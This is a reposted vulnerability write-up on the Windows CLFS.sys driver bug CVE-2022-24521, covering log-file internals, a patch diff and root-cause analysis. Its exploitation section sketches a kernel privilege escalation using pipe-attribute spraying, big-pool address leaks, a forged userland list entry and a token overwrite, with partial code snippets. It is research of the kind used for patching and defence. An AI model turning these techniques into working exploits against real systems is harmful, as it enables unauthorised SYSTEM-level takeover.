标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3086]   作者: 大猪 发表于: [2022-04-30]

本文共 [502] 位读者顶过

Overview

In the security updates of April 2022, Microsoft patched two vulnerabilities (CVE-2022-24481 and CVE-2022-24521) in the CLFS.sys driver. The CLFS kernel component first gain popularity as an attack vector to escape browser sandboxes in 2016. Since then, although this feature is now disabled in popular sandboxes, it is still being frequently abused to escalate privileges locally in Windows.

In this blog post, we analyse the root-cause for one of the vulnerabilties and also discuss how it could be trivially and incredibly reliable to be exploited. Note that in the absence of any public information separating these CVEs, we've decided to use CVE-2022-24521 to refer to the vulnerability described herein because we have confirmed its exploitability whereas Microsoft rates CVE-2022-24481 as "Exploit Code Maturity: Unproven". Of course we could be wrong here :)

This exploit was developed and tested on Windows 10 21H2 (OS Build 19044.1620).

The CLFS component has been well-researched into by the community and these [1][2][3] are excellent sources for internals, format and documentation

[出自:jiwo.org]

CLFS Internals

CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance. It provides applications with API functions to create, store and read log data. CLFS log storage basically consists of two parts:

blf_structure

Each log block starts with a structure named _CLFS_LOG_BLOCK_HEADER:

  1.  
  2. typedef struct _CLFS_LOG_BLOCK_HEADER
  3. {
  4. UCHAR MajorVersion;
  5. UCHAR MinorVersion;
  6. UCHAR Usn;
  7. CLFS_CLIENT_ID ClientId;
  8. USHORT TotalSectorCount;
  9. USHORT ValidSectorCount;
  10. ULONG Padding;
  11. ULONG Checksum;
  12. ULONG Flags;
  13. CLFS_LSN CurrentLsn;
  14. CLFS_LSN NextLsn;
  15. ULONG RecordOffsets[16];
  16. ULONG SignaturesOffset;
  17. } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

RecordOffsets is an array of offsets to the records inside the log block. In fact, CLFS only takes care of the first record offset (0x70) which points at the end of CLFS_LOG_BLOCK_HEADER. When the base log file is stored on a disk, its log blocks must be encoded. In an encoded state, each sector has a two-byte signature which is used to guarantee consistency:

  1.  
  2. typedef struct _CLFS_LOG_BLOCK_HEADER
  3. {
  4. UCHAR SECTOR_BLOCK_TYPE;
  5. UCHAR Usn;
  6. };

During the encoding process the last two bytes of each sector are overwritten with the associated signature. To store all of the sector bytes that were replaced by the sector signature, there is an array which is pointed by SignaturesOffset field.

Base log record stores metadata used to associate the base log file with the containers. It starts with the following header:

  1.  
  2. typedef struct _CLFS_BASE_RECORD_HEADER
  3. {
  4. CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
  5. CLFS_LOG_ID cidLog;
  6. ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
  7. ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
  8. ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
  9. ULONG cNextContainer;
  10. CLFS_CLIENT_ID cNextClient;
  11. ULONG cFreeContainers;
  12. ULONG cActiveContainers;
  13. ULONG cbFreeContainers;
  14. ULONG cbBusyContainers;
  15. ULONG rgClients[MAX_CLIENTS_DEFAULT];
  16. ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
  17. ULONG cbSymbolZone;
  18. ULONG cbSector;
  19. USHORT bUnused;
  20. CLFS_LOG_STATE eLogState;
  21. UCHAR cUsn;
  22. UCHAR cClients;
  23. } CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;

Fields gClients and rgContainers represent the arrays of offsets that point to the associated context objects.

Container context is represented by the following structure:

  1.  
  2. typedef struct _CLFS_CONTAINER_CONTEXT
  3. {
  4. CLFS_NODE_ID cidNode;
  5. ULONGLONG cbContainer;
  6. CLFS_CONTAINER_ID cidContainer;
  7. CLFS_CONTAINER_ID cidQueue;
  8. union
  9. {
  10. CClfsContainer* pContainer;
  11. ULONGLONG ullAlignment;
  12. };
  13. CLFS_USN usnCurrent;
  14. CLFS_CONTAINER_STATE eState;
  15. ULONG cbPrevOffset;
  16. ULONG cbNextOffset;
  17. } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;

pContainer actually contains a kernel pointer to the CClfsContainer class describing the container at runtime. This field must be set to zero when the log file is on disk.



Patch-Diffing

The security updates of April 2022 brings us quite small modifications to clfs.sys, so we can easily spot the vulnerable functionality. All in all, there are eight changed functions:

patch_diff1

And two new functions:

patch_diff2

A new logical block has been added to LoadContainerQ:

  1.  
  2. ...
  3. containerArray = (_DWORD *)((char *)BaseLogRecord + 0x328); // *CLFS_CONTAINER_CONTEXT->rgContainers
  4. ...
  5. v22 = CClfsBaseFile::ContainerCount(this);
  6. ...
  7. while ( containerIndex < 0x400 )
  8. {
  9. v17 = (CClfsContainer *)containerIndex;
  10. if ( containerArray[containerIndex] )
  11. ++v24;
  12. v89 = ++containerIndex;
  13. }
  14. ...
  15. if ( v24 == v22 )
  16. {
  17. if ( (unsigned int)Feature_Servicing_38197806__private_IsEnabled() )
  18. {
  19. v25 = (_OWORD *)((char *)v19 + 0x138);
  20. v26 = (unsigned int *)operator new(0x11F0ui64, PagedPool);
  21. rgObject = v26;
  22. if ( !v26 )
  23. {
  24. goto LABEL_135;
  25. }
  26. memmove(v26, containerArray, 0x1000ui64);
  27. v28 = rgObject + 0x400;
  28. v29 = 3i64;
  29. ...
  30. v20 = CClfsBaseFile::ValidateRgOffsets(this, rgObject);
  31. v72 = v20;
  32. operator delete(rgObject);
  33. }

In fact, this block is a wrapper for CClfsBaseFile::ValidateRgOffsets:

  1.  
  2. __int64 __fastcall CClfsBaseFile::ValidateRgOffsets(CClfsBaseFile *this, unsigned int *rgObject)
  3. {
  4. ...
  5. LogBlockPtr = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64); // * _CLFS_LOG_BLOCK_HEADER
  6. ...
  7. signatureOffset = LogBlockPtr + *(unsigned int *)(LogBlockPtr + 0x68); // PCLFS_LOG_BLOCK_HEADER->SignaturesOffset
  8. ...
  9. qsort(rgObject, 0x47Cui64, 4ui64, CompareOffsets); // sort rgObject array
  10. while ( 1 )
  11. {
  12. currObjOffset = *rgObject2; // obtain offset from rgObject
  13. if ( *rgObject2 - 1 <= 0xFFFFFFFD )
  14. {
  15. pObjContext = CClfsBaseFile::OffsetToAddr(this, currObjOffset); // Obtain in-memory representation
  16. // of the object's context structure
  17. ...
  18. unkn = currObjOffset - 0x30;
  19. v13 = rgIndex * 4 + v5 + 0x30;
  20. if ( v13 < v5 || v5 && v13 > unkn )
  21. break;
  22. v5 = unkn;
  23. if ( *pObjContext == 0xC1FDF008 ) // CLFS_NODE_TYPE_CLIENT_CONTEXT
  24. {
  25. rgIndex = 0xC;
  26. }
  27. else
  28. {
  29. if ( *pObjContext != 0xC1FDF007 ) // CLFS_NODE_TYPE_CONTAINER_CONTEXT
  30. return 0xC01A000D;
  31. rgIndex = 0x22;
  32. }
  33. criticalRange = &pObjContext[rgIndex]; // get the address of context + 0x30
  34. if ( criticalRange < pObjContext || (unsigned __int64)criticalRange > signatureOffset ) // comapre with sig offset
  35. break;
  36. }
  37. ++i;
  38. ++rgObject2;
  39. if ( i >= 0x47C )
  40. return ret;
  41. }
  42. return 0xC01A000D;
  43. }

As we can see, this function simply checks that the signature offset does not intersect with any of the context objects. In addition, it also validates several context fields like CLFS_NODE_ID.



Vulnerability: Root Cause Analysis

Let's assume that the array of signatures intersects with the container or client context:

vuln_rca1

When the log block is encoded, sector's bytes from SIG_* are transferred to an array, pointed by SignaturesOffset. While decoding, these bytes are written back to their initial location. If we'll construct the base log record in a way that the container context and the signature array will be close to each other and then copy context's bytes to SIG_0 ... SIG_X, encode and decode operation will not corrupt the container context. Moreover, all the data modified between encoding and decoding will be restored.

Now let's assume that container context is modified in memory (PCLFS_CONTAINER_CONTEXT->pContainer is zeroed). We searched for a while where it is actually used and this led us to CClfsBaseFilePersisted::RemoveContainer which can be called directly from LoadContainerQ:

  1.  
  2. __int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
  3. {
  4. ...
  5. v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
  6. v9 = v11;
  7. v16 = v11;
  8. if ( v11 >= 0 )
  9. {
  10. pContainer = *((_QWORD *)containerContext + 3);
  11. if ( pContainer )
  12. {
  13. *((_QWORD *)containerContext + 3) = 0i64;
  14. ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
  15. v4 = 0;
  16. (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
  17. (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
  18. v9 = v16;
  19. goto LABEL_20;
  20. }
  21. goto LABEL_19;
  22. }
  23. ...
  24. }

To ensure that the user cannot pass any FAKE_pContainer pointer to the kernel, before any indirect call this field is set to zero:

  1.  
  2. v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
  3. if ( v44 == -1 )
  4. {
  5. *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
  6. v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
  7. v72 = v20;
  8. if ( v20 < 0 )
  9. goto LABEL_134;
  10. v23 = v78;
  11. v34 = (unsigned int)(v34 + 1);
  12. v79 = v34;
  13. }

Everything goes as planned until there is no logical issue described above. To understand it better lets look inside the call chain CClfsBaseFilePersisted::FlushImage -> CClfsBaseFilePersisted::WriteMetadataBlock which is in RemoveContainer. The information associated with the deleted container should be also removed from the linked structures and this is done with the following code:

  1.  
  2. ...
  3. // Obtain all container contexts represented in blf
  4. // save pContainer class pointer for each valid container context
  5. for ( i = 0; i < 0x400; ++i )
  6. {
  7. v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
  8. v15 = (char *)this + 8 * i;
  9. if ( v20 >= 0 )
  10. {
  11. v16 = v22;
  12. *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
  13. *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
  14. CClfsBaseFile::ReleaseContainerContext(this, &v22);
  15. }
  16. else
  17. {
  18. *((_QWORD *)v15 + 56) = 0i64;
  19. }
  20. }
  21. // Stage [1] enode block, prepare it for writing
  22. ClfsEncodeBlock(
  23. (struct _CLFS_LOG_BLOCK_HEADER *)v9,
  24. *(unsigned __int16 *)(v9 + 4) << 9,
  25. *(_BYTE *)(v9 + 2),
  26. 0x10u,
  27. 1u);
  28. // write modified data
  29. v10 = CClfsContainer::WriteSector(
  30. *((CClfsContainer **)this + 19),
  31. *((struct _KEVENT **)this + 20),
  32. 0i64,
  33. *(void **)(*((_QWORD *)this + 6) + 24 * v8),
  34. *(unsigned __int16 *)(v9 + 4),
  35. &v23);
  36. ...
  37. if ( v7 )
  38. {
  39. // Stage [2] Decode file again for futher processing in clfs.sys
  40. ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
  41. // optain new pContainer class pointer
  42. v17 = (_QWORD *)((char *)this + 448);
  43. do
  44. {
  45. // Stage [3] for each valid container
  46. // update pContainer field
  47. if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
  48. {
  49. *((_QWORD *)v22 + 3) = *v17;
  50. CClfsBaseFile::ReleaseContainerContext(this, &v22);
  51. }
  52. ++v6;
  53. ++v17;
  54. }
  55. while ( v6 < 0x400 );
  56. }
  57. ...

When the operation begins, pContainer is set to zero. During Stage [1] the information is encoded -> bytes from each sector are written to their location -> we restore the zeroed field with the information we provide from the user mode. The only issue is to make CClfsBaseFile::AcquireContainerContext fail at Stage [3] (rather easy to do). If everything is done, we'll be able to pass any address to an indirect call chain inside CClfsBaseFilePersisted::RemoveContainer which leads to the direct RIP control.



Exploitation

To trigger the vulnerability an attacker should carefully construct the base log file and the associated containers to bypass different checks inside the driver's code. Listing all the checks is out of scope for this article, but for simplicity, we'll provide an example for the client context:

The PoC is as below:

  1.  
  2. __int64 __fastcall CClfsBaseFile::GetSymbol(PERESOURCE *this, unsigned int a2, char a3, struct _CLFS_CLIENT_CONTEXT **a4)
  3. {
  4.  
  5. ...
  6. if ( CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, a2 + 135) )
  7. {
  8. v11 = CClfsBaseFile::OffsetToAddr((CClfsBaseFile *)this);
  9. if ( v11 )
  10. {
  11. if ( *(v11 - 3) != a2 )
  12. {
  13. v8 = -1073741816;
  14. goto LABEL_5;
  15. }
  16. v12 = ClfsQuadAlign(0x88u);
  17. // v13 is a pointer to ClientContext
  18. if ( *(_DWORD *)(v13 - 0x10) == (unsigned __int64)(v14 + v12) && *(_BYTE *)(v13 + 8) == a3 )
  19. {
  20. *a4 = (struct _CLFS_CLIENT_CONTEXT *)v13;
  21. goto LABEL_12;
  22. }
  23. }
  24. }
  25. ...
  26. LABEL_12:
  27. if ( v10 )
  28. {
  29. ExReleaseResourceForThreadLite(this[4], (ERESOURCE_THREAD)KeGetCurrentThread());
  30. return v15;
  31. }
  32. return v8;
  33. }

It is also interesting how these two methods are actually called:

  1.  
  2. mov rax, [rdi] ; pContainerVftbl
  3. mov rax, [rax+18h] ; method_1
  4. mov rcx, rdi ; save pointer to pContainer
  5. ; pass it as an argument
  6. ; for the controllable call
  7. call cs:__guard_dispatch_icall_fptr
  8. mov rax, [rdi]
  9. mov rax, [rax+8] ; method_2
  10. mov rcx, rdi
  11. call cs:__guard_dispatch_icall_fptr

The address of the controllable pContainer is passed to the indirect call as an argument, so we can use any gadget which uses RCX as a pointer to perform arbitrary read / write operations.

From here on, the exploitation strategy is closely based on the information from this excellent SSTIC2020: Scoop the Windows 10 pool! paper [4].

  1. Create pipe objects, add pipe attributes using NtFsControlFile API:

    		
    1.  
    2. ...
    3. CreatePipe( hR , hW , NULL , bufsize ) ;
    4. ...
    5. NTSTATUS status = NtFsControlFile(
    6. hR,
    7. 0,
    8. NULL,
    9. NULL,
    10. &ret,
    11. 0x11003C,
    12. input,
    13. input_size,
    14. output,
    15. output_size
    16. );

    The attributes are a key-value pair and stored in a linked list. The PipeAttribute object is allocated in the Paged Pool and is defined in the kernel by the following structure:

    		
    1.  
    2. struct PipeAttribute {
    3. LIST_ENTRY list ;
    4. char * AttributeName;
    5. uint64_t AttributeValueSize;
    6. char * AttributeValue;
    7. char data [0];
    8. };

    Note that the allocations must be large enough (4080+ bytes on x86, or 4064+ bytes on x64) to be processed in a big-pool [5].

  2. Anytime a kernel-mode component allocates over the limits above, a big-pool allocation is done instead. API NtQuerySystemInformation has an information class specifically designed for dumping big pool allocations. Including not only their size, their tag, and their type (Paged or Non-Paged), but also their kernel virtual address:

    		
    1.  
    2. ...
    3. NTSTATUS status = STATUS_SUCCESS;
    4. if (NT_SUCCESS(status = ZwQuerySystemInformation(SystemBigPoolInformation, mem, len, &len))) {
    5. PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(mem);
    6. for (ULONG i = 0; i < pBuf->Count; i++) {
    7. __try {
    8. if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
    9. // save me
    10. }
    11. }
    12. __except (EXCEPTION_EXECUTE_HANDLER) {
    13. DPRINT_LOG("(%s) Access Violation was raised.", __FUNCTION__);
    14. }
    15. }
    16. }
    17. ...

    Using this feature, we can easily get the address of the newly created pipe objects.

  3. Allocate fake_pipe_attribute object to be used later to inject its address to an original doubly linked list. We will save kernel pipe_attribute pointers as follows:

    		
    1.  
    2. ...
    3. fake_pipe_attribute = (PipeAttributes*)VirtualAlloc(NULL, ATTRIBUTE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    4. ...
    5. fake_pipe_attribute->list.Flink = pipe_attribute_1;
    6. fake_pipe_attribute->list.Blink = pipe_attribute_2;
    7. fake_pipe_attribute->id = ANY;
    8. fake_pipe_attribute->length = NEEDED;
    9. ...
  4. Obtain selected gadget-module base address using NtQuerySystemInformation:

    		
    1.  
    2. ntStatus = NtQuerySystemInformation(SystemModuleInformation,
    3. &module, /*pSysModInfo*/
    4. sizeof(module), /*sizeof(pSysModInfo) or 0*/
    5. &dwNeededSize );
    6. {
    7. ...
    8. if (STATUS_INFO_LENGTH_MISMATCH == ntStatus)
    9. {
    10. pSysModInfo = ExAllocatePoolWithTag(NonPagedPool, dwNeededSize, 'GETK');
    11.  
    12. if (pSysModInfo) {
    13. ntStatus = NtQuerySystemInformation(SystemModuleInformation,
    14. pSysModInfo,
    15. dwNeededSize,
    16. NULL );
    17. if (NT_SUCCESS(ntStatus))
    18. {
    19. for (int i=0; i<(int)pSysModInfo->dwNumberOfModules; ++i)
    20. {
    21. StrUpr(pSysModInfo->smi[i].ImageName); // Convert characters to uppercase
    22. if (strstr(pSysModInfo->smi[i].ImageName, MODULE_NAME)) {
    23. pModuleBase = pSysModInfo->smi[i].Base;
    24. break;
    25. }
    26. }
    27. }
    28. else { return; }
    29. ExFreePool(pSysModInfo)
    30. pSysModInfo = NULL;
    31. }
    32. }
    33. ...
    34. }
  5. Trigger CLFS bug which allows us to call a module-gadget performing arbitrary data modification. Done properly, we will be able to overwrite pipe_attribute_1->list.Flink and pipe_attribute_2->list.Blink with fake_pipe_attribute pointer. Now, by requesting the read of the attribute (calling NtFsControlFile with x110038 IOCTL) on the pipe_attribute_1 / pipe_attribute_2, the kernel will use the PipeAttribute that is in userland and thus fully controlled:

    exp_pipeow

    Control over AttributeValue pointer and the AttributeValueSize provides an arbitrary read primitive which can be used to obtain EPROCESS address.

  6. Trigger CLFS bug to overwrite usermode process token to elevate to system privileges.

    cve-2022-24521-demo


  7. References

    1. Peter Hlavaty (@zer0mem) and Jin Long (@long123king), DeathNote of Microsoft Windows Kernel

    2. Arav Garg (@AravGarg3), Exploiting a use-after-free in Windows Common Logging File System (CLFS)

    3. Alex Ionescu (@aionescu), CLFS Internals

    4. Corentin Bayet (@OnlyTheDuck) and Paul Fariello (@paulfariello), SSTIC2020: Scoop the Windows 10 pool!

    5. Alex Ionescu (@aionescu), Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool

评论

暂无
发表评论
 返回顶部 
热度(502)
 关注微信